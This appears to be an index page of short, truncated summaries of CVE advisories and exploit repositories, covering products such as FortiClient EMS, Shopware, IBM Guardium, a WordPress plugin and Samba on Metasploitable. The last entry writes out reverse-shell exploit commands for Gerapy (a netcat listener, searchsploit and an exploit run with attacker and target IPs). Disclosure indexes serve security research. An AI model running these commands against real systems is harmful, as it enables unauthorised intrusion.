CVE-2025-60749

CVE-2025-60749 SketchUp Desktop 2025 DLL Hijacking Vulnerability...

Pluck-CMS-Stored-XSS---Installation

Pluck CMS 4.7.18 Stored XSS Author: Sergio Description: Multiple Cross-Site Scripting XSS vulnerabilities in installation of PluckCMS v.4.7.18 allows a local attacker to execute arbitrary code via a crafted payload injected into the cont1 and cont2 parameters in the installation process- Website...

CVE-2026-35616

🚨 CVE-2026-35616 - FortiClient EMS Authentication Bypass 🚨 Improper Access Control | Pre-Auth API Bypass Exploited in the Wild — April 2026 📋 Overview CVE-2026-35616 is a critical vulnerability in FortiClient Enterprise Management Server EMS versions 7.4.5 through 7.4.6. An unauthenticated remote...

CVE-2026-23498

CVE-2026-23498: Shopware Has Improper Control of Generation of Code in Twig rendered views Overview Field| Details ---|--- CVE ID| CVE-2026-23498 Severity| HIGH Advisory| View Advisory Discovered by| Lukasz Rybak Affected Products shopware/shopware versions: = 6.7.0.0, = 6.7.0.0, 6.7.6.1 CWE...

cve-2026-4257

CVE-2026-4257 This exploits CVE-2026-4257, a Server-Side Template Injection SSTI vulnerability in the "Contact Form" Wordpress plugin by Supsystic in versions 1.7.36 and before. This vulnerability allows an unauthenticated attacker to achieve Remote Code Execution. The vulnerability exists in the...

CVE-2026-107700

dot-access 0.0.3 through 1.0.0 contains a code injection vulnerability that allows remote attackers to execute JavaScript by supplying crafted paths to get. The path is concatenated into a new Function body in index.js, so attackers can reach constructor.constructor to load childprocess and run...

CVE-2026-82335 IBM Guardium Data Protection Buffer Overflow

IBM Guardium Data Protection 12.0, 12.1, 12.2 is vulnerable to a heap-based buffer overflow in the MongoDB protocol parser. A remote attacker could send a specially crafted MongoDB SCRAM username containing an excessive length and cause memory corruption, potentially resulting in denial of servic...

EUVD-2026-95247

IBM Guardium Data Protection 12.0, 12.1, 12.2 is vulnerable to a heap-based buffer overflow in the MongoDB protocol parser. A remote attacker could send a specially crafted MongoDB SCRAM username containing an excessive length and cause memory corruption, potentially resulting in denial of servic...

CVE-2026-82335

IBM Guardium Data Protection versions 12.0, 12.1, and 12.2 are vulnerable to a heap-based buffer overflow within the Sniffer component 's MongoDB protocol parser. A remote attacker can exploit this by sending a specially crafted MongoDB SCRAM username with an excessive length, leading to memory c...

EUVD-2026-95246

IBM Guardium Data Protection 12.0, 12.1 is vulnerable to a heap-based buffer overflow in the S-TAP TrafficTap TDS login reassembly functionality. An unauthenticated remote attacker can send crafted TDS login fragments that exceed the fixed-size reassembly buffer, potentially resulting in denial o...

CVE-2026-82344 IBM Guardium Data Protection Buffer Overflow

IBM Guardium Data Protection 12.0, 12.1 is vulnerable to a heap-based buffer overflow in the S-TAP TrafficTap TDS login reassembly functionality. An unauthenticated remote attacker can send crafted TDS login fragments that exceed the fixed-size reassembly buffer, potentially resulting in denial o...

CVE-2026-82344

IBM Guardium Data Protection versions 12.0, 12.1, and 12.2 are vulnerable to a heap-based buffer overflow within the S-TAP TrafficTap TDS login reassembly functionality. An unauthenticated remote attacker can exploit this by sending crafted TDS login fragments that exceed the fixed-size reassembl...

CVE-2026-84271 IBM Guardium Data Protection Signature Verification Bypass

IBM Guardium Data Protection 12.2 is vulnerable to a signature verification bypass in the patch installer. An attacker with local access could exploit this vulnerability to execute arbitrary code with root privileges...

CVE-2026-84271

IBM Guardium Data Protection 12.2 contains a signature verification bypass vulnerability within the patch installer. An attacker with local access could exploit this flaw to achieve arbitrary code execution with root privileges . The root cause is identified as a race condition (CWE-362). No spec...

EUVD-2026-95240

IBM Guardium Data Protection 12.2 is vulnerable to a signature verification bypass in the patch installer. An attacker with local access could exploit this vulnerability to execute arbitrary code with root privileges...

r2s

React2Shell R2S - CVE-2025-55182 Testing Tool Advanced exploitation testing tool for CVE-2025-55182 vulnerability assessment Features • Installation • Usage • Testing Environment • Legal 📖 What is R2S? R2S React2Shell is a security testing tool designed to help security researchers, developers, a...

Exploiting-Samba-on-Metasploitable-2

Exploiting-Samba-on-Metasploitable-2 My goal here was to utilize metasploit from a Kali Linux machine to exploit a well-known samba vulnerability CVE-2007-2447. This is done in order to infiltrate a Metasploitable 2 machine with a reverse shell to access the root folder. Once this folder has been...

nextjs-security-scanner

日本語版は README.ja.md を参照してください。 nextjs-security-scanner Bash script to detect CVE-2025-55182 React2Shell and credential exposure in Next.js projects. Zero dependencies. CVE-2025-55182: React2Shell CVSS: 10.0 CRITICAL | CWE-502: Deserialization of Untrusted Data | SNORT SID: 65554 Unauthenticated...

CVE-2024-44346

CVE Disclosure: CVE-2024-44346 Date: 13-09-2024 Summary A vulnerability was identified in Tosibox tbsetup.exe version 4.0.0.0 , which could allow local privilege escalation . This issue has been assigned the identifier CVE-2024-44346 .The vendor has released an advisory with further details and...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 login to portal as admin add new project sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 enjoy...